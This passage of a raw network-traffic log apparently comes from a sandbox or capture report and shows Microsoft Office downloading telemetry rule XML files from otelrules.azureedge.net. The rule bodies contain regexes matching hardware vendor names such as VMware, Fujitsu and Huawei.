T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:23 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031223Z-174f78459685726chC1EWRsnbg00000010v000000000dbsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:23 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:23 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031223Z-174f7845968swgbqhC1EWRmnb4000000112g000000003knn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:23 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:23 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031223Z-174f7845968ljs8phC1EWRe6en00000010p000000000brzz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:24 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:23 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031223Z-174f7845968kvnqxhC1EWRmf3g0000000mr0000000003ve2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:24 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:25 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031225Z-174f784596886s2bhC1EWR743w00000010yg000000004d67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: d2418d74-601e-000d-691b-422618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031225Z-174f7845968pf68xhC1EWRr4h80000001140000000006waq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 80135fc2-701e-001e-3d45-40f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031226Z-174f7845968pf68xhC1EWRr4h8000000115g000000003e80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031226Z-174f7845968qj8jrhC1EWRh41s00000010vg000000004aeu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:25 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:26 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031226Z-174f7845968cpnpfhC1EWR3afc00000010e000000000c9ea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:26 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:28 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 87f236cc-001e-008d-7b03-42d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031228Z-174f7845968pf68xhC1EWRr4h8000000115g000000003ede x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:28 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:27 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031228Z-174f7845968n2hr8hC1EWR9cag00000010eg00000000c1hd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:28 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:28 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 6c824192-201e-0051-0a91-3f7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031228Z-174f7845968vqt9xhC1EWRgten00000010zg000000001z98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:28 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 